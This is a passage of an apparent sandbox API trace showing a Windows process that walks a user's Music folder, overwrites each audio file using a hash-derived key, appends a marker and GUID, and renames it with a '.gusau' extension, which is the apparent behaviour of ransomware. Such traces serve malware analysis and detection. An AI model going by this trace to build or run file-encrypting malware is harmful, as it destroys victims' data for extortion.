lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.459] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.459] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.459] CloseHandle (hObject=0x610) returned 1 [0117.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.460] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.460] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.460] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j nRVt1oLEKKj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j nrvt1olekkj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j nRVt1oLEKKj.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j nrvt1olekkj.m4a.gusau")) returned 1 [0117.461] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.461] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.462] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69fb970, ftCreationTime.dwHighDateTime=0x1d4cd42, ftLastAccessTime.dwLowDateTime=0xe0525960, ftLastAccessTime.dwHighDateTime=0x1d4d373, ftLastWriteTime.dwLowDateTime=0xe0525960, ftLastWriteTime.dwHighDateTime=0x1d4d373, nFileSizeHigh=0x0, nFileSizeLow=0x182e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jgXL.wav", cAlternateFileName="")) returned 1 [0117.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.462] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.462] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.462] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jgXL.wav") returned=".wav" [0117.462] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jgXL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jgxl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.462] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=99046) returned 1 [0117.462] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.465] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x182c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.465] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.467] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.467] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.467] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.467] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x182e6, lpOverlapped=0x0) returned 1 [0117.468] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.468] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.468] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.468] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.468] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.469] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.469] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.469] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.469] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.469] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.469] GetLastError () returned 0x0 [0117.469] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.469] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.469] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.469] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x182f0) returned 0x39f9f20 [0117.469] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.469] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.470] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x182e1, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x182e1, lpOverlapped=0x0) returned 1 [0117.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.470] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x182e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.470] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.470] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.470] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.470] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.470] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.470] CloseHandle (hObject=0x610) returned 1 [0117.472] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.472] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x870) returned 0x39f5430 [0117.472] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.472] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jgXL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jgxl.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\jgXL.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jgxl.wav.gusau")) returned 1 [0117.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.474] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.475] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e01b310, ftCreationTime.dwHighDateTime=0x1d4d40b, ftLastAccessTime.dwLowDateTime=0xc8afb8e0, ftLastAccessTime.dwHighDateTime=0x1d4d182, ftLastWriteTime.dwLowDateTime=0xc8afb8e0, ftLastWriteTime.dwHighDateTime=0x1d4d182, nFileSizeHigh=0x0, nFileSizeLow=0x11d45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MyJjOnayKnFCwyo3.m4a", cAlternateFileName="MYJJON~1.M4A")) returned 1 [0117.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.475] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MyJjOnayKnFCwyo3.m4a") returned=".m4a" [0117.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MyJjOnayKnFCwyo3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\myjjonayknfcwyo3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.476] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=73029) returned 1 [0117.476] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.478] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11d1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.478] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.480] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.480] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x11d45, lpOverlapped=0x0) returned 1 [0117.480] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.481] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.481] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.481] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.481] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.481] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.481] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.482] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.482] GetLastError () returned 0x0 [0117.482] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.482] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.482] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11d50) returned 0x39f9f20 [0117.482] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.482] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x11d40, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x11d40, lpOverlapped=0x0) returned 1 [0117.482] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.482] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11d45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.483] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.483] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.483] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.483] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.483] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.483] CloseHandle (hObject=0x610) returned 1 [0117.484] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.484] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.484] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.484] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MyJjOnayKnFCwyo3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\myjjonayknfcwyo3.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\MyJjOnayKnFCwyo3.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\myjjonayknfcwyo3.m4a.gusau")) returned 1 [0117.484] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.484] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.485] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.485] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1af8920, ftCreationTime.dwHighDateTime=0x1d4ce27, ftLastAccessTime.dwLowDateTime=0xdf4e5490, ftLastAccessTime.dwHighDateTime=0x1d4d00a, ftLastWriteTime.dwLowDateTime=0xdf4e5490, ftLastWriteTime.dwHighDateTime=0x1d4d00a, nFileSizeHigh=0x0, nFileSizeLow=0x8066, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nh7G7MoNq.wav", cAlternateFileName="NH7G7M~1.WAV")) returned 1 [0117.485] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.485] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.486] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.486] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nh7G7MoNq.wav") returned=".wav" [0117.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nh7G7MoNq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nh7g7monq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.486] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=32870) returned 1 [0117.486] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.488] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.488] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.489] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.489] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.489] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.490] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x8066, lpOverlapped=0x0) returned 1 [0117.490] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.490] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.491] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.491] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.491] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.491] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.491] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.491] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.491] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.492] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.492] GetLastError () returned 0x0 [0117.492] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.492] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.492] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8070) returned 0x39f9f20 [0117.492] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.492] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.493] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x8061, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x8061, lpOverlapped=0x0) returned 1 [0117.493] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.493] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8066, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.493] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.494] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.494] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.494] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.494] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.494] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.494] CloseHandle (hObject=0x610) returned 1 [0117.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.495] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x870) returned 0x39f5430 [0117.495] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.495] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nh7G7MoNq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nh7g7monq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nh7G7MoNq.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nh7g7monq.wav.gusau")) returned 1 [0117.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.496] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.496] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.497] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2514d40, ftCreationTime.dwHighDateTime=0x1d4c81a, ftLastAccessTime.dwLowDateTime=0x34ca210, ftLastAccessTime.dwHighDateTime=0x1d4d3cc, ftLastWriteTime.dwLowDateTime=0x34ca210, ftLastWriteTime.dwHighDateTime=0x1d4d3cc, nFileSizeHigh=0x0, nFileSizeLow=0x8fb9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTjyCO-pmQ3AS.mp3", cAlternateFileName="NTJYCO~1.MP3")) returned 1 [0117.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.497] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.497] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.497] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NTjyCO-pmQ3AS.mp3") returned=".mp3" [0117.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NTjyCO-pmQ3AS.mp3" (normalized: "c:\\users\\5p5nrgjn0js 